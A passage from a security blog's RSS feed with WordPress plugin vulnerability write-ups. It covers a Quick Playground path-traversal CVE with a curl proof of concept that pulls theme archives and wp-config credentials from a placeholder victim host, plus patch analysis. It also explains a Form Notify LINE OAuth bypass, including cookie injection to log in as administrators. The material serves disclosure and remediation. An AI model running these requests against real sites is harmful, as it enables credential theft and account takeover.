&lt;p&gt;If you cannot update immediately, consider disabling the MCP feature in AI Engine settings until you can apply the patch.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ai-engine/ai-engine-349-authenticated-subscriber-privilege-escalation-via-missing-authorization-in-mcp-oauth-bearer-token&quot;&gt;Wordfence Advisory — CVE-2026-8719&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8719&quot;&gt;CVE-2026-8719 at CVE.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3533527/ai-engine&quot;&gt;Patch Changeset on WordPress Trac&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/ai-engine/&quot;&gt;AI Engine Plugin on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-19T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-6403: Unauthenticated File Read in Quick Playground (CVSS 7.5)</title><link>https://hurayraiit.com/blog/cve-2026-6403-quick-playground-unauthenticated-file-read/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-6403-quick-playground-unauthenticated-file-read/</guid><description>CVE-2026-6403 (CVSS 7.5) is a path traversal vulnerability in Quick Playground that lets unauthenticated attackers ZIP and download arbitrary server files.</description><pubDate>Mon, 18 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-6403&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; Unauthenticated Path Traversal vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/quick-playground/&quot;&gt;Quick Playground&lt;/a&gt; WordPress plugin. An unauthenticated attacker can call an unprotected REST endpoint to trigger ZIP creation of server-side directories, then download the archive without any credentials.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Quick Playground&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;quick-playground&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6403&quot;&gt;CVE-2026-6403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Path Traversal (Unauthenticated Arbitrary File Read)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/quick-playground.1.3.3.zip&quot;&gt;&amp;lt;= 1.3.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/quick-playground.1.3.4.zip&quot;&gt;1.3.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researchers&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/athiwat-tiprasaharn&quot;&gt;Athiwat Tiprasaharn (Jitlada)&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/itthidej-aramsri&quot;&gt;Itthidej Aramsri (Boeing777)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/quick-playground/quick-playground-133-unauthenticated-path-traversal-to-arbitrary-file-read-via-stylesheet-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Quick Playground plugin is vulnerable to Path Traversal in all versions up to and including 1.3.3. The &lt;code&gt;qckply_zip_theme()&lt;/code&gt; function appends a user-controlled &lt;code&gt;stylesheet&lt;/code&gt; parameter directly to the theme root directory path without sanitizing directory traversal sequences. This makes it possible for unauthenticated attackers to trigger the creation of a ZIP archive containing arbitrary files from the server&apos;s filesystem, including &lt;code&gt;wp-config.php&lt;/code&gt;, and then download that archive via a second unauthenticated endpoint.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Attack Surface&lt;/h3&gt;
&lt;p&gt;Quick Playground registers a public REST API endpoint for serving playground blueprints. The endpoint lives at &lt;code&gt;quickplayground/v1/blueprint/&amp;lt;profile&amp;gt;&lt;/code&gt; and its permission callback returns &lt;code&gt;true&lt;/code&gt; unconditionally, making it accessible to any visitor.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// api.php — permission callback
public function get_items_permissions_check($request) {
    return true;  // no authentication required
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Vulnerable Execution Path&lt;/h3&gt;
&lt;p&gt;When a GET request reaches the blueprint endpoint with a &lt;code&gt;stylesheet&lt;/code&gt; query parameter, the callback reads it and passes it to &lt;code&gt;qckply_swap_theme()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// api.php:80–84
if(isset($_GET[&apos;stylesheet&apos;])) {
  //no nonce check because this can be called from a static link
  $stylesheet = sanitize_text_field(wp_unslash($_GET[&apos;stylesheet&apos;]));
  $stylesheet = preg_replace(&apos;/[^a-z0-9_\-]/&apos;, &apos;&apos;, $stylesheet); // basic check
  $blueprint = qckply_swap_theme($blueprint, $stylesheet);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;preg_replace&lt;/code&gt; is described as a &quot;basic check.&quot; It strips dots and slashes, but leaves lowercase letters, digits, hyphens, and underscores. &lt;code&gt;qckply_swap_theme()&lt;/code&gt; then calls &lt;code&gt;qckply_zip_theme()&lt;/code&gt; whenever the requested theme is not found in the &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt; repository:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// build.php:306–315
function qckply_swap_theme($blueprint, $slug) {
    $slug = trim($slug);
    if(empty($slug)) {
        return $blueprint;
    }
    $public = true;
    if(!qckply_repo_check($slug,&apos;theme&apos;)) {
        $public = false;
        qckply_zip_theme($slug);  // called with user-controlled input
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Vulnerable Function&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;qckply_zip_theme()&lt;/code&gt; in &lt;code&gt;utility.php&lt;/code&gt; is the root cause. It has no authorization check and no path sanitization:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// utility.php:242–251 (version 1.3.3 — vulnerable)
function qckply_zip_theme($stylesheet) {
    $qckply_directories = qckply_get_directories();
    $qckply_uploads = $qckply_directories[&apos;uploads&apos;];
    $source_directory = get_theme_root() . &apos;/&apos; . $stylesheet; //  Get theme path
    if (qckply_zipToUploads($source_directory, $qckply_uploads)) {
        return &apos;Theme &apos;.$stylesheet.&apos; zipped successfully! The zip file can be found at: &apos; . $qckply_uploads;
    } else {
        return &apos;Theme &apos;.$stylesheet.&apos; zip creation failed.&apos;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The constructed path &lt;code&gt;get_theme_root() . &apos;/&apos; . $stylesheet&lt;/code&gt; is passed directly to &lt;code&gt;qckply_zipToUploads()&lt;/code&gt;, which recursively adds every file in the target directory to a ZIP archive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// utility.php:156–187
function qckply_zipToUploads(string $source_dir, string $uploads_dir, $slug = &apos;&apos;): bool
{
    if(!is_dir($source_dir))
        return false;

    if (empty($slug)) {
        $slug = basename($source_dir);  // ZIP filename = last path segment
    }

    $zip = new ZipArchive();
    $zip_filepath = $uploads_dir . &apos;/&apos; . $slug . &apos;.zip&apos;;
    // ...opens zip, recursively adds all files, closes zip
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The ZIP file lands in the &lt;code&gt;wp-uploads/quick-playground/&lt;/code&gt; directory under the name &lt;code&gt;&amp;lt;stylesheet&amp;gt;.zip&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Unauthenticated Download&lt;/h3&gt;
&lt;p&gt;A second REST endpoint serves any file from the uploads directory without authentication:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// api.php:639–703 — Qckply_Download class
$path = &apos;download/(?P&amp;lt;filename&amp;gt;[A-Za-z0-9_\-\.]+)&apos;;
// permission callback also returns true

public function handle($request) {
    $filename = sanitize_text_field($request[&apos;filename&apos;]);
    $file = $qckply_uploads . &apos;/&apos; . $filename;
    if(!file_exists($file)) {
        die(&apos;file not found&apos;);
    } else {
        header(&quot;Content-Type: application/zip&quot;);
        readfile($file);  // serves the file to anyone
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Why &quot;Including wp-config&quot;&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;qckply_zip_theme()&lt;/code&gt; function itself has no path sanitization. The only protection against full directory traversal is the &quot;basic&quot; &lt;code&gt;preg_replace&lt;/code&gt; in the REST endpoint caller. This function is also called from &lt;code&gt;blueprint-builder.php&lt;/code&gt;, &lt;code&gt;build.php&lt;/code&gt;, and other locations. In any call path that does not apply this basic filter, a payload like &lt;code&gt;../../wp-config&lt;/code&gt; traverses above the themes root and zips the WordPress installation root, which contains &lt;code&gt;wp-config.php&lt;/code&gt; with database credentials.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This proof of concept is provided for educational purposes and authorized security testing only. Do not use it against systems you do not own or have explicit permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; Quick Playground &amp;lt;= 1.3.3 installed and activated. A custom or private theme installed locally (not published on &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt;). A blueprint profile saved under the name &lt;code&gt;default&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Confirm the endpoint is unauthenticated:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://victim.example.com/wp-json/quickplayground/v1/blueprint/default&quot; | python3 -m json.tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A JSON response (not a 401 or 403) confirms no authentication is required.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Trigger ZIP creation of a private theme:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Replace &lt;code&gt;my-custom-theme&lt;/code&gt; with the slug of any locally installed theme that is not on &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://victim.example.com/wp-json/quickplayground/v1/blueprint/default?stylesheet=my-custom-theme&quot; \
  -o /dev/null -w &quot;HTTP %{http_code}\n&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The plugin calls &lt;code&gt;qckply_zip_theme(&apos;my-custom-theme&apos;)&lt;/code&gt; and saves &lt;code&gt;my-custom-theme.zip&lt;/code&gt; in the uploads directory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Download the ZIP without credentials:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;https://victim.example.com/wp-json/quickplayground/v1/download/my-custom-theme.zip&quot; \
  -o stolen-theme.zip

unzip -l stolen-theme.zip  # list the contents
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Verification:&lt;/strong&gt; A successful download with theme files confirms the vulnerability is present.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Full path traversal (via direct function call or hooks without the basic filter):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# stylesheet=../../wp-config — gets stripped to &quot;wp-config&quot; by the REST endpoint filter
# but if called without that filter (another hook or code path), the path becomes:
# get_theme_root() . &apos;/../../wp-config&apos;  -&amp;gt;  /var/www/html/wp-config  (WordPress root)

curl -s &quot;https://victim.example.com/wp-json/quickplayground/v1/download/wp-config.zip&quot; \
  -o wp-config.zip
unzip -p wp-config.zip  # reveals database credentials
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 1.3.4 adds an authorization check at the top of &lt;code&gt;qckply_zip_theme()&lt;/code&gt;, &lt;code&gt;qckply_zip_current_theme()&lt;/code&gt;, and &lt;code&gt;qckply_zip_plugin()&lt;/code&gt;. This defense-in-depth approach protects the function regardless of which code path calls it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; function qckply_zip_theme($stylesheet) {
+    if(!current_user_can(&apos;manage_options&apos;)) {
+        return;
+    }
     $qckply_directories = qckply_get_directories();
     $qckply_uploads = $qckply_directories[&apos;uploads&apos;];
     $source_directory = get_theme_root() . &apos;/&apos; . $stylesheet;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt; function qckply_zip_plugin($slug) {
+    if(!current_user_can(&apos;manage_options&apos;)) {
+        return;
+    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix is applied at the function level, not just the REST endpoint caller. This is the correct approach: every code path that invokes these functions now requires the caller to be an administrator (&lt;code&gt;manage_options&lt;/code&gt; capability), regardless of how the call is made.&lt;/p&gt;
&lt;p&gt;The &quot;basic&quot; character filter in &lt;code&gt;api.php&lt;/code&gt; remains as a secondary layer, but the root cause — no authorization — is now fixed at the source.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;Version 1.3.4 released with the fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 15, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 18, 2026&lt;/td&gt;
&lt;td&gt;This blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update Quick Playground to &lt;strong&gt;version 1.3.4 or later&lt;/strong&gt; immediately. You can do this from the WordPress admin dashboard under &lt;strong&gt;Plugins → Installed Plugins&lt;/strong&gt;, or by downloading the update directly from &lt;a href=&quot;https://wordpress.org/plugins/quick-playground/&quot;&gt;wordpress.org/plugins/quick-playground&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, consider temporarily deactivating the plugin until the update can be applied.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/quick-playground/quick-playground-133-unauthenticated-path-traversal-to-arbitrary-file-read-via-stylesheet-parameter&quot;&gt;Wordfence Advisory — CVE-2026-6403&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6403&quot;&gt;CVE Record — CVE-2026-6403&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&quot;&gt;CVSS 3.1 Calculator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/quick-playground/tags/1.3.1/utility.php#L162&quot;&gt;Vulnerable code — utility.php#L162&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/quick-playground/tags/1.3.1/api.php#L62&quot;&gt;Vulnerable code — api.php#L62&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/quick-playground/trunk/utility.php#L248&quot;&gt;Patch — utility.php#L248&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;old=3523317%40quick-playground&amp;amp;new=3523317%40quick-playground&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;Patch changeset&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-18T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)</title><link>https://hurayraiit.com/blog/cve-2026-5229-form-notify-auth-bypass-line-oauth/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5229-form-notify-auth-bypass-line-oauth/</guid><description>CVE-2026-5229 (CVSS 9.8 Critical): auth bypass in Form Notify ≤ 1.1.10. Any visitor can hijack any WordPress account, including admin, via LINE OAuth.</description><pubDate>Sun, 17 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5229&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; Authentication Bypass vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/form-notify/&quot;&gt;Receive Notifications After Form Submitting – Form Notify for Any Forms&lt;/a&gt; WordPress plugin. An unauthenticated attacker can complete a LINE OAuth flow with their own LINE account and, by exploiting a missing account-linkage check, log in as any WordPress user — including administrators — with no credentials required.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Receive Notifications After Form Submitting – Form Notify for Any Forms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;form-notify&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5229&quot;&gt;CVE-2026-5229&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Authentication Bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/form-notify.1.1.10.zip&quot;&gt;&amp;lt;= 1.1.10&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/form-notify.1.1.11.zip&quot;&gt;1.1.11&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nabil-irawan&quot;&gt;Nabil Irawan - Heroes Cyber Security&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/form-notify/receive-notifications-after-form-submitting-form-notify-for-any-forms-1110-unauthenticated-authentication-bypass-via-line-oauth-callback&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Form Notify is a WordPress plugin that sends notifications to site owners and users after form submissions. It supports LINE Login — an OAuth 2.0 integration that lets visitors authenticate using their LINE account.&lt;/p&gt;
&lt;p&gt;The vulnerability lives in the LINE OAuth callback handler. After a user completes the LINE authorization flow, the plugin resolves the WordPress account to authenticate by looking up users based on the email address returned by LINE. It never checks whether the LINE account was previously linked to that WordPress account.&lt;/p&gt;
&lt;p&gt;In versions up to 1.1.08, the attack is even simpler. When LINE provides no email, the plugin reads the &lt;code&gt;form_notify_line_email&lt;/code&gt; cookie directly from the browser. An attacker can set this cookie to any target email before starting the OAuth flow. With any LINE account — including a fresh account with no email — the attacker is authenticated as the WordPress user whose email matches the cookie.&lt;/p&gt;
&lt;p&gt;In versions 1.1.09 and 1.1.10, the cookie fallback was partially removed, but the root cause remained: the plugin still resolved accounts by email, with no linkage check.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;The Vulnerable Callback Endpoint&lt;/h3&gt;
&lt;p&gt;The LINE OAuth callback is registered as a public REST API endpoint in &lt;code&gt;src/APIs/Line/Login/Route.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;register_rest_route(
    &apos;form-notify/v1&apos;,
    &apos;/callback&apos;,
    array(
        &apos;methods&apos;             =&amp;gt; &apos;GET&apos;,
        &apos;callback&apos;            =&amp;gt; array( $this, &apos;get_api_callback&apos; ),
        &apos;permission_callback&apos; =&amp;gt; function () {
            return true;  // no authentication required
        },
    )
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The endpoint is fully public. Any visitor can send requests to &lt;code&gt;GET /wp-json/form-notify/v1/callback&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Account Resolution by Email (1.1.10)&lt;/h3&gt;
&lt;p&gt;After exchanging the LINE authorization code for a token, the callback handler resolves the email to use for account lookup (&lt;code&gt;Route.php&lt;/code&gt;, lines 115–116):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$has_real_email = ! empty( $user-&amp;gt;email );
$user_email     = $has_real_email ? $user-&amp;gt;email : $user_raw_id . &apos;@line.com&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When LINE provides an email (which happens whenever the user grants the &lt;code&gt;email&lt;/code&gt; scope during authorization), &lt;code&gt;$user_email&lt;/code&gt; is set to the LINE account&apos;s email. The handler then calls &lt;code&gt;is_member()&lt;/code&gt; in &lt;code&gt;User.php&lt;/code&gt; to find the matching WordPress account:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function is_member( string $user_email, string $user_avatar ): bool {
    $this-&amp;gt;user    = get_user_by( &apos;email&apos;, $user_email );  // lookup by email only
    $this-&amp;gt;roles[] = $this-&amp;gt;user-&amp;gt;roles;
    if ( ! is_wp_error( $this-&amp;gt;user ) &amp;amp;&amp;amp; $this-&amp;gt;user ) {
        return true;
    }
    return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;get_user_by(&apos;email&apos;, $user_email)&lt;/code&gt; returns any WordPress user with that email. There is no check that the LINE account was previously linked to, or authorized by, that WordPress account.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;is_member()&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt;, the &lt;code&gt;login()&lt;/code&gt; method immediately authenticates the request as the matched user:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this-&amp;gt;user-&amp;gt;ID );
        wp_set_auth_cookie( $this-&amp;gt;user-&amp;gt;ID, true, is_ssl() );
        // ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The only thing standing between an unauthenticated visitor and a full session as any user is whether the attacker can control what email appears in &lt;code&gt;$user-&amp;gt;email&lt;/code&gt; — and LINE&apos;s email registration makes this feasible.&lt;/p&gt;
&lt;h3&gt;Cookie Injection (≤ 1.1.08)&lt;/h3&gt;
&lt;p&gt;Versions up to 1.1.08 contain an additional, more direct attack path. In &lt;code&gt;Route.php&lt;/code&gt; (1.1.08), lines 115–118:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( isset( $_COOKIE[&apos;form_notify_line_email&apos;] ) ) {
    $line_email = sanitize_text_field( wp_unslash( $_COOKIE[&apos;form_notify_line_email&apos;] ) );
}
$user_email = ( $user-&amp;gt;email ) ? $user-&amp;gt;email : $line_email;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When LINE&apos;s profile returns no email (&lt;code&gt;$user-&amp;gt;email&lt;/code&gt; is empty), the plugin reads the &lt;code&gt;form_notify_line_email&lt;/code&gt; cookie and uses it as the account email. Because this cookie is set by the browser, the attacker controls it completely.&lt;/p&gt;
&lt;p&gt;An attacker with any LINE account (even one with no email configured) can set the cookie to a target&apos;s email, start the OAuth flow, and be authenticated as that user — including administrators.&lt;/p&gt;
&lt;h3&gt;State Verification Weakness&lt;/h3&gt;
&lt;p&gt;The state check in &lt;code&gt;get_api_callback()&lt;/code&gt; has a silent fallback:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$session_state = get_transient( &apos;form_notify_line_state_&apos; . $state );

if ( empty( $session_state ) ) {
    $session_state = sanitize_text_field( wp_unslash( $_SESSION[ &apos;form_notify_line_state_&apos; . $state ] ) );
    set_transient( &apos;form_notify_line_state_&apos; . $state, $state, 60 * 60 );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If no transient exists (e.g., expired), the code tries to read from &lt;code&gt;$_SESSION&lt;/code&gt;. On many WordPress setups &lt;code&gt;$_SESSION&lt;/code&gt; is not populated at this point, making &lt;code&gt;$session_state&lt;/code&gt; an empty string. Because &lt;code&gt;$state&lt;/code&gt; from the URL parameter is also anything the attacker controls, this fallback may be exploitable to bypass the state check — further widening the attack surface.&lt;/p&gt;
&lt;h3&gt;Secondary Issue: Email as Password (≤ 1.1.10)&lt;/h3&gt;
&lt;p&gt;In the &lt;code&gt;sign_up()&lt;/code&gt; method, new accounts are created with the user&apos;s email address as their password:&lt;/p&gt;
